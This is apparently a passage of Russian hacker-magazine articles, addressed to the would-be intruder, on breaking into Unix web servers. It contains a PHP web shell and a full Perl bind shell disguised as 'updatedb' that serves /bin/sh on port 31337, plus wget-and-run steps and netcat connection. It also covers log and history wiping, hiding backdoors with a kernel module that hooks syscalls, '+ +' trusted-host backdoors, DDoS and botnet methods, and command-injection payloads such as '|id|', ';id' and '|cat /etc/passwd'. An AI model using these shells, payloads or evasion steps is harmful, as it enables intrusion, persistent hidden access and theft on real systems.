успешной атаки на уязвимую машину они открывают на ней порт, к которому можно подконнектиться и получить долгожданный shell с рутовыми правами. При этом в большинстве случаев тебе не придется пользоваться всеми удобствами /bin/bash: ты будешь юзать стандартный /bin/sh, так как именно его чаще всего вызывают shell-коды и именно он есть практически на всех машинах с *nix-системами на борту. Но не думай, что через этот порт всегда можно ходить в систему. Он легко убивается администратором, смывается ребутом или просто сам по себе отпадает после того, как от него отключишься. Для исполнения локального эксплоита требуется хотя бы shell с правами nobody. А как его можно получить? Вот об этом я сейчас и расскажу. Для начала понадобится доступ к одному из сайтов, которые хостятся на сервере. Это может быть FTP или дырявый web-скрипт, позволяющий выполнять команды (с помощью него мы не сможем полноценно запустить эксплоит, но сможем залить кое-что). Если FTP есть, а команды мы выполнять не можем, надо исправить эту оплошность, залив на сервер (сервер должен поддерживать PHP) такой скрипт: <? system($cmd) ?> Такая вот «малютка» умеет выполнять команды через запрос: www.target.com/cmd.php?cmd=команда. Теперь нам потребуется realtime-доступ к /bin/sh, который нам предоставит нижерасположенный скрипт: Potbind.pl #!/usr/bin/perl $port = 31337; exit if fork; $0 = «updatedb» . « « x100; $SIG{CHLD} = 'IGNORE'; use Socket; socket(S, PFINET, SOCKSTREAM, 0); setsockopt(S, SOLSOCKET, SOREUSEADDR, 1); bind(S, sockaddrin($port, INADDRANY)); listen(S, 50); while(1){ accept(X, S); unless(fork) { open STDIN, «<&X»; open STDOUT, «> &X»; open STDERR, «> &X»; close X; exec(«/bin/sh»); } close X;} После выполнения он откроет порт с shell’ом nobody, а пока сохраним его как bind.txt и зальем куда-нибудь на narod.ru. В случае с narod.ru нет необходимости называть его *.txt, можно сразу определить его как bind.pl, так как на Народе нет поддержки perl и скрипт сольется таким, каким он должен быть. А если на сервере есть поддержка perl, он загрузится в виде html-страницы, с результатами его выполнения. Но .txt он и в Африке .txt. Поэтому лучше назовем его так :). Эксплоит заливаем туда же. Теперь, когда все готово, заливаем bind.txt и exploit.c через cmd.php командой wget или fetch для Linux или FreeBSD соответственно. Можно залить и с помощью сценария FTP (уж ftp есть везде). Заливать bind.txt и эксплоит желательно в /tmp. Теперь нам понадобится запустить bind.txt, для чего выполним через cmd.php такую команду: www.target.com/cmd.php?perl%20/tmp/bind.txt. Этим мы запустим скрипт bind.txt, который откроет для прослушивания порт 31337, где будет висеть shell с правами nobody. Теперь не помешало бы скомпилить сплоит. Делается обычно это так: gcc /tmp/exploit.c –o /tmp/exploit. Теперь телнетимся на 31337 порт target.com. В данном случае, если нет желания ставить «;» после каждой команды и видеть все более приглядно, можно использовать netcat (http://nsd.ru/soft/nc11nt.zip). Синтаксис таков: nc.exe target.com 31337. Теперь выполняем эксплоит… После каждой команды не забываем ввести «;» (если ты поленился юзать netcat и юзаешь обыкновенный telnet). Например, чтобы выполнить команду ls /tmp, надо ввести «ls /tmp;». Private Xploits – личные эксплоиты. О них никто ничего не знает, кроме автора и узкого круга его друзей. Иногда случаются утечки, и личное превращается в общее, называющееся 0-day, 0-day xploits – это новинки. Приватные и 0-day эксплоиты очень ценятся, потому что создатели программного обеспечения еще не подозревают об ошибке и в сети находятся сотни, тысячи, миллионы машин с этой уязвимостью, о которой почти никто не знает. Одним словом, это величайший рулез. Прикинь, какой можно создать ботнет, если уязвимость распространенная, а хакеров, которые о ней знают, всего несколько? Отдельно стоит поговорить о fake-эксплоитах, которые все чаще и чаще встречаются. Фэйки – это, по сути, обман, который иногда бывает безвредным, а в некоторых случаях содержит в себе выгоду для создателя, например, добавляет еще одного зомби в его ботнет, а на экран использующего ее закера выдает сообщение о том, что система не подвержена атаке, или просто Segmentation Fault. Core dumped ;). Существуют целые группы, которые промышляют продажей якобы «0-day», за которыми на самом деле скрываются фейки. Их нужно опасаться и перед использованием эксплоита внимательно изучить исходник. Если он содержит шестнадцатеричные вставки, нужно расшифровать их, ибо за ними может скрываться троян. Отдельно хотелось бы поговорить о поиске уязвимостей. Порой очень трудно определить, какой софт стоит на удаленной системе, особенно когда не имеешь к ней даже малейшего доступа. На помощь приходят различные сканеры, например, Retina, Shadow Security Scanner, XSpider. Сканирование ими даст исчерпывающую информацию об удаленной системе. Вот, наверное, и все, что я хотел рассказать об эксплоитах. Этой информация достаточно для большого начинания. Желаю удачи, и пусть твои большие знания послужат благим целям. Автор выражает благодарность NSD (nsd@nsd.ru) за скриншоты. После того как взломщик получил рутшелл, ему понадобится закрепить свои права в системе. Примитивное создание нового рутового аккаунта не содержит в себе ничего привлекательного, так как созданный атакующим бэкдор, скорее всего, снесут уже в первые дни его жизни и еще постараются найти и пофиксить уязвимость, через которую кто-то левый смог получить доступ супервизора и создать его. В закреплении прав в системе помогут специальные программы – руткиты, о которых подробно написано в этом номере Спеца. Также руткит поможет остаться в системе незамеченным. Всегда думай о своей безопасности! Никогда не мешает использовать соксы для подключения к удаленной системе. Если у тебя возникнут затруднения с выбором терминала для этих целей, я посоветую тебе PuTTY: он умеет работать через прокси– и сокс-сервера, а также имеет множество полезных функций, которые наверняка тебе пригодятся. Не нужно забывать чистить логи, ведь они – доказательство присутствия в системе. Не забудь почистить .bash_history, если ты зашел как обычный пользователь через стандартный ssh или telnet. Этот файлик обычно находится в домашней директории пользователя и, как ты уже заметил, является скрытым (перед именем файла стоит «.»). В хистори содержатся все команды, которые ты выполнял. И запомни: хистори записывается в файл только после того, как ты сделаешь лог-аут. Есть и другой вариант решения этой проблемы: после входа в систему выполнить команду «UNSET .HISTFILE». Эксплоиты не растут на эксплоитном дереве и сами к тебе не прилетят (за исключением fake :)). Лучше сливать их с популярных ресурсов, таких, как http://www.securitylab.ru, http://packetstormsecurity.nl, http://security.nnov.ru. www.securitylab.ru, www.security.nnov.ru, www.packetstormsecurity.nl – самые лучшие ресурсы по безопасности, самые свежие багтраки, секьюрити-репорты и обсуждения. www.nsd.ru – тут ты тоже сможешь почерпнуть много интересного. www.bugtraq.ru – хороший багтрак, часто обновляется. www.google.ru – превосходный поисковик. Наш выбор. www.xakep.ru – мегаресурс ;). Да, часто такое бывает. В большинстве случаев это вина программистов – они не сумели грамотно заточить конечный продукт под все версии компиляторов. Также причинами могут являться отсутствие необходимой библиотеки и сборка с неправильными флагами. Иногда эксплоит требуется подправить ручками, поэтому необходимы хотя бы элементарные навыки программирования на C. Если изначально нет никакого доступа к хостингу, можно просто купить на нем аккаунт на месяц. А если денег совсем нет, можно попробовать закардить или побрутать :). Теоретически в сети нет ни одного неуязвимого сервера. Весь вопрос заключается только в умении. Будь предельно осторожен, проверь командой finger и w, нет ли в системе активных администраторов. Скрипты, написанные на Perl, следует заливать в текстовом режиме и устанавливать на них chmod 755 или 777. Для того чтобы эксплоит выполнился, его тоже необходимо проchmod’ить как +x (chmod xploit +x). Невидимость в *nix / Обзор stealth-механизмов бэкдоров
После взлома системы чрезвычайно сложно оставить там незаметный черный ход. Опытные администраторы очень быстро обнаруживают все известные и неизвестные бэкдоры. О том, как перехитрить админа и скрыть присутствие лазейки в системе, и пойдет речь в этой статье. Давай подумаем, чем простейший бэкдор может выдать свое присутствие. Во-первых, он существует как файл. Администратор спосоен запросто обнаружить его с помощью элементарной утилиты ls и просто-напросто стереть, что нас ни в коей мере не устраивает. Во-вторых, если бэкдор запущен и работает, то он присутствует в системе как процесс. Соответственно, может быть обнаружен админом с помощью утилиты ps, вываливающей в консоль список процессов. В-третьих, черный ход «висит» на каком-то порту и ждет входящего соединения для того, чтобы открыть командный шелл взломщику, из-за чего может быть обнаружен массой различных способов, самым простым из которых является анализ результата работы утилиты netstat. Кажется, что проще бэкдор удалить и забыть об идее остаться незамеченным :). Не все так печально. Неспроста же изворотливый хакерский ум изобрел огромное количество способов сокрытия присутствия лазейки от любого, даже самого хитрого админа. Алгоритмы сокрытия бэкдора от утилит ps и ls практически идентичны, поэтому я разберу только случай маскировки процесса. Надеюсь, что с маскировкой файла у тебя трудностей не возникнет. Есть ощущение, что администраторы смотрят первым делом именно в вывод утилиты ps, когда у них возникает подозрение, что их системой пользуется тот, кто не имеет права этого делать. Наша задача сделать так, чтобы админ не обнаружил в списке процессов ничего подозрительного. Есть множество способов решить эту задачу, но мы рассмотрим самые популярные. Первый способ заключается в корректировке исходного кода утилиты, ответственной за вывод списка процессов. То есть мы должны будем найти сорцы ps, в них обнаружить функцию, которая выводит процессы на экран, и путем недолгих преобразований заставить забыть ее о нашем бэкдоре. Трудностей встретится целая куча: во-первых, придется рыться в чужих сорцах, а хуже, чем копаться в исходных кодах системных юниксовых утилит, ничего не придумаешь; во-вторых, реализация для каждой *nix-системы будет новая, ибо я сомневаюсь, что ps везде одинаковая. Также можно воспользоваться другим приемом, состоящим в маскировке созданного бэкдором процесса. Это самый простой в реализации способ. Потребуется написать программу, полностью заменяющую ps, которая выплевала бы всегда один и тот же текст. После взлома запомним список «постоянно висящих» процессов, запишем его, например, в файл, который и будем выводить всякий раз при запуске утилиты. Применение данного способа не требует от хакера глубоких познаний в программировании, хватит и школьного курса. Ведь в программу всего то и надо, что понапихать функций printf(). Жаль только, что любой нормальный админ в здравом уме и трезвой памяти заподозрит неладное сразу же после второго запуска ps. Ну и, наконец, самый интересный способ. Когда утилита ps пытается вывести все запущенные в данный момент в системе процессы, она обращается к ядру с некоторым системным запросом. Анализируя ответ ядра, она составляет список и выбрасывает его на экран. Способ маскировки бэкдора в данном случае будет заключаться в «обработке» этого самого системного ответа. Грубо говоря, требуется перехватить системный вызов и подменить его на фальшивый, в котором будут отсутствовать всяческие данные о нашем бэкдоре. Осуществить это можно, написав Loadable Kernel Module (LKM), модуль, подгружаемый к ядру системы. Он подменит запись в таблице системных вызовов, в результате чего все запросы будут передаваться не стандартной функции, выдающей список процессов, а нашей хитрой процедурке. Похожий модуль был написан stan'ом из команды unl0ck team, но, к сожалению, он не захотел делиться с народом полноценной программой, поэтому написал некий PoC, который заставляет программу ps и ей подобные выводить сообщение о том, что в системе процессов нет как таковых. Немного подкорректировав код модуля (ты найдешь его на CD, прилагающемся к журналу) и добавив в него функцию поиска и сокрытия нужного нам процесса, можно добиться самой качественной маскировки своего бэкдора. Достоинства этого способа очевидны. Администратор не сможет обнаружить никаких изменений в размере файла утилиты ps, как в случае с ее подменой. А если вдруг он воспользуется какой-нибудь сторонней программой для слежения за запущенными процессами, то и ее вызов не выдаст нашего бэкдора, ибо ядро одно, а работают подобные программки по одному и тому же принципу. Здорово! Впрочем, у этого метода есть и недостатки, главным образом, сложность реализации. Ведь, чтобы написать такой LKM или подкорректировать уже имеющийся на врезке, нужно нехило разбираться в программировании модулей, а этим может похвастаться далеко не каждый программер. Думаю, с сокрытием процесса бэкдора, а также файла, маскировка которого реализуется по аналогии, мы разобрались, и можно приступить к самой ответственной части материала. Каждому юниксоиду известно, что для просмотра списка открытых соединений в системе применяется утилита netstat. Если будет использован обычный бэкдор, который открывает шелл на заданном TCP-порту, первый же запуск этой программки выдаст взломщика с головой. Как же укрыться от netstat? Аналогично ситуации с ps, способов очень много. Один из них, как это ни парадоксально, очень популярный, заключается в такой корректировке самой утилиты, которая бы не позволяла ей показывать наше соединение. Для реализации этого способа потребуется отыскать сорцы netstat в сети и как следует их перелопатить. По-моему, такое и в кошмарном сне не приснится. Другой способ – написать LKM, который бы перехватывал системные вызовы утилиты netstat. Это вообще самый лучший подход к редактированию вывода любых системных утилит, будь то ps или netstat. Он немного сложен в реализации, но, если знать, куда копать – какие системные вызовы в каких случаях перехватывать, то справиться можно. Допустим, нам удалось скрыть бэкдор из списка открытых соединений. А что, если администратор проверяет свою систему не локально, а, например, удаленно с помощью различных программ вроде nmap? Тогда при сканировании администратор заметит, что в системе открыт «левый» порт, а netstat его не показывает. Админ сразу же просечет фишку, и больше мы на его машину не попадем. Именно для таких случаев хакеры придумали еще кое-что для сокрытия своего присутствия в системе. При написании бэкдора следует использовать не SOCK_STREAM, а SOCK_RAW, то есть вместо TCP-сокетов юзать RAW-сокеты. Красивый способ: RAW-сокеты позволяют слушать весь входящий трафик, а это дает нам огромные возможности. Например, мы можем сделать так, чтобы после посылки определенного пакета бэкдор открывал шелл на определенном порту. Примеры подобных бэкдоров – на www.packetstormsecurity.nl. Маскируем трафикГрамотный администратор не всегда ограничивается стандартными средствами при поиске бэкдора в своей системе. Иногда он прибегает к поиску злоумышленника с помощью снифера или IDS, подобной Снорту. А от зоркого глаза (или чуткого носа? :)) «нюхача» не скроется ни один даже самый навороченный бэкдор. Как же уберечься от надоедливого админа или его кошмарной IDS? Тут поможет только одно – полное шифрование трафика, которое уберет заметный plain text команд из логов снифера. Хакеры используют для этого самые разные криптоалгоритмы: и IDEA, и xTEA, и Blowfish, и Twofish. Но, даже шифруясь, не стоит забывать, что лишний гигабайт трафика, генерируемый к тому же каким-нибудь RAW-сокетом, заметит даже слепой админ. При использовании чужих мощностей надо знать меру :). В этой статье я описал лишь самые популярные подходы к маскировке. Время не стоит на месте, постоянно изобретаются все новые и новые способы сокрытия бэкдоров. Старайся не отставать от прогресса, ведь не просто так говорят: «Кто остановился, тот умер!» Linux Kernel Module #include <linux/module.h> #include <linux/kernel.h> #include <sys/syscall.h> /* linux ps fake utility. * * if fake ps doesn't work, try below SYS_CALLS * * 1. SYS_rt_sigaction * 2. SYS_rt_sigprocmask * 3. SYS_clone * * the main hook function is fakepid(); this function try to * hook SYS_call = SYS_waitpid, then programm print some inte * resting message to the screen :) * * (c) by stan [unl0ck team] 2004 */ extern void *sys_call_table[]; int (*origpid)(const char *path); int fakepid(const char *path) { printk(«No proccess found!»); return 0; } int init_module(void) { origpid = sys_call_table[SYS_waitpid]; sys_call_table[SYS_waitpid] = fakepid; printk(«Module successfully loaded!»); return(0); } void cleanup_module(void) { sys_call_table[SYS_waitpid] = origpid; printk(«Module successfully unloaded!»); } Случается так, что опытный администратор ухитряется выловить stealth-бэкдор, даже если в нем применяются все перечисленные здесь механизмы. Продвинутые админы напридумывали кучу самых разных приемов выловить гада. Они используют сниферы и анализируют трафик на предмет чего-то подозрительного, устанавливают жесткую политику брандмауэров. Со всем этим очень сложно бороться стандартными методами. В такой сложной ситуации есть отличный способ остаться незамеченным. Можно немного подкорректировать какой-нибудь сервисный демон. Например, написать патч к ssh, позволяющий беспрепятственно проникнуть в систему без аутентификации и прочих штучек. Ничего особенно трудного здесь нет, нужно лишь немного разбираться в кодинге. Есть еще более простой способ – проход в систему посредством доверенных хостов. Многие сетевые демоны, такие, как sshd, rlogin, rshd, при соединении с кем-либо обращаются к файлам ~/.rhost, /.rhost (uid=0 auth), /etc/host.equiv, ~/.shosts, проверяя, нет ли там адреса соединяющегося с ними пользователя, и если есть, то документы у него не спросят. То есть, если нам вписать в вышеперечисленные файлы некий хост, то он будет пропущен на сервер без аутентификации. А если в этом файле будет пара «+ +», то на сервер сможет войти вообще любой хост без предварительной аутентификации. В этом случае может очень пригодиться crontab для того, чтобы поставить точное время, когда нужно создавать/удалять файл доверенных хостов – мы же не хотим, чтобы администратор нас засек. При этом следует помнить, что перед уходом с сервера нужно почистить логи. Но не полностью удалять, а аккуратно подрезать записи, оставленные системой только о собственных грязных делишках :). Много бэкдоров, хороших и разныхНе всегда есть возможность и желание писать бэкдор самому. Я приготовил коротенький обзор полезных бэкдоров/руткитов, доступных в сети: Bdoor.c – бэкдор, маскирующийся под HTTP-демон. Он не использует никаких stealth-технологий. Применять его можно только в расчете на невнимательность администратора (явление, надо признать, очень частое). SYS_getuid был бы просто отличным руткитом, если бы не так просто ловился в системе. Для его обнаружения достаточно сделать копию таблицы системных вызовов после установки системы (до того как система затроянена), а потом время от времени сверять указатели, текущую таблицу с копией, любые расхождения будут означать присутствие бэкдора. Superkit – замечательный многофункциональный руткит. Умеет прятать файлы, процессы, соединения в netstat. Имеет функцию защиты паролем. Умеет открывать порт и запускать на нем удаленный шелл. И самое приятное – он не может быть обнаружен с помощью сравнения таблиц системных вызовов. Linuxrootkit5 – это довольно старый, но не потерявший своей актуальности руткит. Помимо стандартного набора функций lkm-руткита, он умеет прятать cron-записи, что бывает очень полезно, когда стараешься обхитрить админа любыми способами. kbdv2.c – Linux loadable kernel module backdoor. Классический пример бэкдора, подгружаемого к ядру системы. Перехватывает системные вызовы (SYS_stat, SYS_getuid). Интересен бэкдор не столько своими функциями, сколько хорошо комментированным исходным кодом. Его изучение может быть очень полезно при написании собственной программы подобного рода. Neth – детище Forb’а. Отличный бэкдор! Написанный с использованием «сырых» сокетов, он не открывает TCP-портов, за счет чего не палится ни netstat’ом, ни удаленным сканером. Практически все перечисленные мной программки можно скачать с сайта www.packetstormsecurity.nl. Бэкдор – черный ход в систему. Массу полезной информации и программ ты можешь найти на www.packetstormsecurity.nl. Умный админ может регулярно считать MD5-хэши от всех файлов в системе. Он без труда может заметить изменения в системных утилитах. Утилита cron поможет обхитрить администратора. От удаленного сканирования может спасти только использование RAW-сокетов. Не стоит забывать, что любой, даже самый хороший бэкдор может выдать свое присутствие огромным трафиком. Перехват системных вызовов – самый уважаемый в хакерских кругах способ сокрытия бэкдора от утилит операционной системы. DoS/DDoS / Атака грубой силы
Популярность атак, направленных на отказ в обслуживании, растет с каждым днем. При этом о них опубликовано крайне мало действительно полезной информации. В основном доступны лишь поверхностные описания удачных атак или негодования пострадавших. Этот материал поможет тебе разобраться в DoS/DDoS-атаках. Основная цель DoS/DDoS-атак – вывести объект из рабочего состояния. Конечно, в большинстве случаев глобальная атака приводит к большим финансовым потерям со стороны атакуемого. Например, если какой-либо коммерческий сайт упадет на несколько часов, то это нанесет вред бизнесу, а если на неделю, то владелец ресурса вполне может разориться. Или взять локальные сети. Дело в том, что одним из эффектов популярных атак на Denial of Service (DoS) является огромный трафик, направляемый на жертву. Если для крупной западной фирмы это мелочь, то для небольшой отечественной домашней сети средняя атака может грозить разорением. Кроме огромного вреда, наносимого жертве, такие нападения отличаются простотой и огромной эффективностью. Против них нет стопроцентной защиты. Именно названные выше факторы привлекают к DoS внимание специалистов по сетевой безопасности и… DoS'еров. Для того чтобы обнаружить, а уж тем более организовать DoS/DDoS-атаку, нужно разобраться в ее принципах. Эти атаки не направлены на получение доступа к ресурсам или к важной информации. Атака DoS делает ресурс недоступным для использования путем нарушения его нормальной работы. Атаку на отказ в обслуживании можно провести всего двумя способами: использовав уязвимости в программном обеспечении жертвы и при помощи отсылки большого количества определенно составленных сетевых пакетов (флуд). Первый способ состоит в том, чтобы, используя уязвимости типа переполнения буфера, отослать код, выполняющий DoS на сервере. Поскольку атака будет проводиться «изнутри», то через очень короткое время объект зависнет или будет отключен от интернета. Этот способ не требует больших вычислительных ресурсов нападающего, однако такая атака предполагает использование уязвимостей, что само по себе усложняет задачу. Поскольку никто не хочет излишне заморачиваться, в народе более популярен второй способ, которому мы и уделим основное внимание. Это пример применения простой грубой силы, которая практически не нуждается в приложении ума. Идея состоит в том, чтобы переслать как можно больше «кривых» запросов серверу (впрочем, не только «кривых»: от огромного количества нормальных пакетов, например GET-запросов для HTTP-сервера хосты падают с таким же успехом). Дело в том, что при получении сервером пакета данных происходит его обработка. Если приходит пакет, но сервер занят приемом или обработкой другого пакета, то вновь приходящий запрос ставится в очередь, занимая при этом часть ресурсов системы. При проведении DoS-атаки серверу отсылается большое количество пакетов определенного размера. При этом ответ сервера не ожидается (обычно адрес отправителя фальсифицируется – спуфинг). В результате, из-за того что сервер оказывается перегружен информацией, он либо отключается от интернета, либо зависает. В любом случае, нормальные пользователи некоторое время (иногда довольно продолжительное) не могут пользоваться услугами пострадавшего сервера. Просто и со вкусом :). Однако если сервер атакует одна «точка», он вполне может закрыться от нее фаерволом. Кроме того, для проведения качественной DoS-атаки необходима довольно высокая пропускная способность канала. Поэтому атака на отказ в обслуживании в большинстве случаев проводится сразу с нескольких машин. Атака, в проведении которой участвует много машин (обычно это затрояненные десктопы, их называют «зомби»), получила название DDoS (Distributed Denial of Service). Для сколь угодно мощного сервера всегда можно подобрать достаточное количество зомбиков (благо дырявых систем и ушастых юзверей по миру много развелось). Есть несколько способов получения «зомби». Во-первых, это массовое внедрение трояна на компьютеры мирных пользователей. Самый популярный способ управления троянами – IRC, то есть организация ботнета. При посылке определенных команд троян активируется и мирный домашний компьютер (с широкополосным выходом в интернет) становится источником большого количества мусора, съедающего ресурсы атакуемого сервера. Чтобы более детально разобраться в DoS-атаках, рассмотрим их наиболее известные разновидности. Выделяют пять наиболее популярных: – TCP SYN Flood; – TCP flood; – Ping of Death; – ICMP flood; – UDP flood. TCP SYN Flood и TCP flood Основная цель этого вида атак – превысить ограничение на количество соединений, которые находятся в состоянии установки. В результате, система не может устанавливать новые соединения. После этого каждый дополнительный запрос еще сильнее увеличивает нагрузку. Для того чтобы достичь желаемого результата, при проведении атаки направляется большое количество запросов на инициализацию TСP-соединения с потенциальной жертвой. Такие атаки не нуждаются в обратной связи с атакующим, и поэтому можно не использовать настоящий адрес источника. Ниже приведен пример установки заголовка IP пакета, который можно использовать в атаке типа «SYN Flood». Листинг packet.ip.version=4; // Версия packet.ip.ihl=5; // Длина заголовка packet.ip.tos=0; // Тип сервиса packet.ip.tot_len=h_tons(40); // Общая длина packet.ip.id=getpid(); // Идентификатор packet.ip.frag_off=0; // Смещение фрагмента packet.ip.ttl=255; // Время жизни packet.ip.protocol=IPPROTO_TCP; // Протокол packet.ip.check=0; // Контрольная сумма packet.ip.saddr=saddress; // Адрес источника packet.ip.daddr=daddress; // Адрес назначения TCP flood – это вид атаки, при котором потенциальной жертве отправляется множество TCP-пакетов, что приводит к связыванию системных ресурсов. Следующие виды DoS-атак основаны на совершенно другом принципе. При помощи таких атак можно переполнить сеть или отдельно взятую мишень абсолютно бесполезными ping-пакетами. Для реализации следующих видов атаки достаточно нескольких строк кода. Итак, это атаки, основанные на протоколе ICMP: Большое количество DoS-атак основывается на протоколе ICMP. Некоторые его функции могут быть полезны для создания нападений такого рода. ICMP flood – это далеко не новый вид атаки, который, тем не менее, не теряет популярности. Здесь используется ping. Ping изначально задумывался для проверки качества соединения с удаленным компьютером. Принцип работы следующий: программа отсылает некое сообщение, на которое удаленный компьютер автоматически отвечает. Вроде бы все нормально. Однако при атаке используются большие (64 кБ), сильно фрагментированные ICMP-пакеты. При получении таких пакетов удаленная машина зависает. Ping of Death основывается на ICMP flood, однако усиливает атаку за счет того, что ping-запросы пересылаются по адресу широковещательной рассылки. Используемый в пакетах запроса адрес – это адрес атакуемого сервера. Получившие такие «посылки смерти» системы отвечают на них и забивают жертву. Это очень серьезный вид атаки, который, правда, требует длительной подготовки. Требуется много «зомби», необходимо собрать достаточное количество информации о жертве и посредниках. Это наиболее опасный вид атаки. UDP-сервис одной машины генерирует последовательность символов для каждого получаемого системой пакета. Делается это в целях тестирования. Далее связывается с echo-сервисом другой машины, которая повторяет эти символы. В результате, передается большое количество UDP-пакетов с подделанным IP источника. Основная проблема для защиты состоит в том, что протокол UDP не устанавливает соединения и нет никаких индикаторов состояния, чтобы помочь межсетевой защите выявить нападение. Чтобы с большей долей вероятности избежать такой атаки, нужно удалить все ненужные UDP-сервисы, а остальным сервисам использовать механизм прокси-сервера. Теперь ты знаешь, что собой представляет атака на отказ в обслуживании. Пришло время составить небольшой хит-парад DoS/DDoS-атак. 1) Пожалуй, самой нашумевшей атакой из разряда DoS стала атака на корневые DNS-сервера, произошедшая в ноябре 2002 года. Тогда распределенной атаке подверглись все 13 DNS-серверов, семь из которых вышли из строя. Только высокий уровень избыточности в структуре интернета позволил избежать задержек при обращении к ресурсам. 2) Атака на сайт SCO, совершенная при помощи вируса MyDoom и всех его подцепивших. 22 августа 2003 года сайт компании SCO перестал отвечать на запросы пользователей. Атака продолжалась несколько дней и прекратилась только 25 августа. Поскольку вирус MyDoom имел очень широкое распространение, то атака получилась мощнейшей. Вторая редакция вируса MyDoom.B, созданная для атаки на сайт Microsoft, не имела такого «успеха» у пользователей. 3) Серверы Osirusoft крупнейшего хранилища IP-адресов, замеченных в спаме, были отключены после большого количества распределенных атак на отказ в обслуживании. Данная служба занималась ведением динамического списка IP-адресов, замеченных в спаме. Атаки на отказ в обслуживании, несомненно, большое зло на просторах интернета. И если отдельно взятую пользовательскую машину можно защитить с помощью фаервола, то для серверов стопроцентной защиты нет и в скором времени не предвидится. Так что с DoS/DDoS-атаками сложилась довольно грустная (или веселая? :)) ситуация. Многие хостеры при обнаружении атаки просто выключают сервера. Это о чем-то говорит ;). Главной особенностью DDoS-атак является то, что для них не существует сервера, который нельзя «завалить». Отыщи и выполни! / Удаленное выполнение команд
Хакеры способны атаковать сервер со всех сторон. Взломщик может использовать эксплоит или поразить сервер командой, выполненной через дырявый сценарий. HTTP-демон является самой опасной стороной сервера, которая скрывает за собой возможность интерпретирования практически любой *nix-команды. Об этом и многом другом ты прочтешь в данном материале. На самом деле, утверждение, что удаленно выполнять команды можно только через Web, ошибочно. Любой рабочий эксплоит, нацеленный на бажный сервис, способен выполнить какое-либо действие. Это может быть добавление пользователя, запуск интерпретатора и т.д. Важно то, что сам факт переполнения буфера приводит к фатальной ошибке и, как следствие, к удачному выполнению команды. Я бы с удовольствием раскрыл все тайны переполнения, но это уже было сделано в Спеце #08.04(45), посвященном дырявым буферам. Второй способ – атака через Web. На тысячах Web-серверов крутятся миллионы бажных сценариев, через которые можно выполнять системные запросы. Некоторые админы не исправляют уязвимые сценарии, так как надеются на фаервол, но грамотный взломщик может влегкую отключить брандмауэр даже через Web-лазейку. Я расскажу о самых известных уязвимостях в CGI/PHP-скриптах, эксплуатация которых приводит к фатальным последствиям. Начнем с самой популярной ошибки программистов. Баг таится в функции open(), которая есть в каждом более-менее серьезном сценарии. Суть ошибки состоит в следующем: функции передается имя файла, который необходимо прочитать и вывести на экран. Само имя поступает с входа CGI-потока, то есть задается удаленным пользователем как параметр скрипта. Всем известно, что open() понимает символ перенаправления (пайп) «|». Если этот символ встретится перед именем или после имени, функция попытается обратиться к файлу и выполнить его как команду! Хакеру достаточно изменить параметр скрипта на команду и обрамить ее вертикальными палочками. Рассмотрим это на наглядном примере. Пусть в сценарии юзается следующий код: Листинг $file=param(«file»); open(FILENAME,$file); while(<FILENAME> ) { print } close(FILENAME); Мы видим, что переменная $file поступает с потоком данных. Она не проверяется на наличие каких-либо спецсимволов, поэтому хакер без проблем может добавить в переменную парочку пайпов. При нестандартном запросе в open() поступит переменная «|id|», которая выполнится как команда, а результат будет выведен на экран. Не думай, что этих скриптов мало – по статистике, каждый третий сервер можно атаковать таким тривиальным запросом. Как известно, функция system() предназначена для выполнения системных команд. Изредка ее используют в CGI-сценариях, запуская внешние приложения. Ничего страшного не происходит, если системный запрос не содержит пользовательских параметров скрипта. В противном случае злоумышленник может добиться выполнения произвольной команды. Рассмотрим пример бажного кода. Проект, из которого он позаимствован, и по сей день находится в онлайне, его код удалось выцепить после успешного эксплуатирования ошибки. Листинг #!/usr/bin/perl ### Simply Perl-Whoiser by XXX. use CGI qw(:standard); $host=param(«host»); system(«whois $host > log»); … После того как скрипт получил параметр host, он выполняет system() с этой опцией безо всякой проверки символов. Стоит атакующему подставить в переменную $host (читай: в параметр скрипта host) символ ‘;’, а за ним произвольную команду, как в файл log поместится уже не ответ бинарника /usr/bin/whois, а команда взломщика. К примеру, запрос вида http://victim.com/whois.cgi?host=blabla.ru;id покажет текущего пользователя (то есть пользователя, с правами которого выполняются cgi-скрипты на сервере). Я не могу не упомянуть про старый добрый баг в вызове sendmail, который до сих пор можно отыскать в тухлых скриптах. Ошибка заключается в использовании опции –t. Этот параметр позволяет указывать имя получателя в командной строке. Часто при таком раскладе это имя берется из входных данных CGI-скрипта и не проверяется на спецсимволы. Вот фрагмент кода уязвимой гостевой книги: Листинг use CGI qw(:standard); $email=param(«email»); open(MAIL,"|/usr/sbin/sendmail –t $email"); print MAIL «From: admin@victim.com\n»; print MAIL «Subject: Thanks\n\nThank you!\n»; close(MAIL); Как видно, переменная $email никоим образом не проверяется, что может привести к нежелательным последствиям. Стоит только указать на странице e-mail в виде lamer@xakep.ru|cat /etc/passwd, и взломщику на мыло придет письмо с вложенным passwd. И все это из-за халатности или безграмотности программиста. Чтобы не возникало подобных ситуаций, нужно отказаться от ключика –t, а адрес получателя оформлять после вызова sendmail. Также необходимо проверять входные переменные на предмет лишних символов. Вот фрагмент кода, закрывающего баг: Листинг die print «Incorrect address!\n» if ($email=~/[\|;]/ || $email~!/\@/); open(MAIL,"|/usr/sbin/sendmail"); print MAIL «To: $email\n»; # … Теперь поговорим о PHP-сценариях. В них также встречаются серьезные ошибки. Самой хитовой из них можно считать include-уязвимость. Часто администраторы включают опцию register_globals в положение On. При этом все параметры, переданные сценарию, автоматически интерпретируются в переменные. С одной стороны, это очень удобно: кодер может без лишних проблем писать скрипты. А с другой стороны, никто не мешает злоумышленнику выполнить произвольный системный код на системе. Для этого достаточно создать небольшой файл megahack.php на любом сервере (хотя поддержки PHP там нет, в противном случае файлу придется дать другое расширение, так как с расширением .php при обращении к файлу он будет интерпретироваться сервером как скрипт, а в данной ситуации необходимо, чтобы сервер просто выдал его содержимое) и подсунуть URL файла уязвимому скрипту. Файл может быть таким: Листинг <?php # … include $my_include . «.php»; # … ?> В данном случае программист даже не представляет, что вместо его любимого data.php (если в $my_include хранится строка 'data') может подгрузиться хакерский data.php, находящийся на далеком уругвайском сервере по адресу http://urugwayhost/data.php (правда, для этого необходимо, чтобы у php директива allow_url_fopen была включена, но чаще всего так и бывает). Если все условия выполнены, взломщик вставляет в запрос дополнительный параметр «my_include» и присваивает ему значение url своего скрипта (без «.php» на конце). Например, запрос, выполняющий команду ls, выглядит следующим образом: Листинг http://victim/view.php?my_include=http://urugwayhost/data&cmd=ls. В случае если админ запретил открытие ссылок в fopen(), можно составить PHP-код и поместить его в каталог /tmp: для этого стоит воспользоваться FTP или другой уязвимостью, позволяющей создавать на сервере файлы. В качестве параметра взломщик укажет путь к локальному файлу 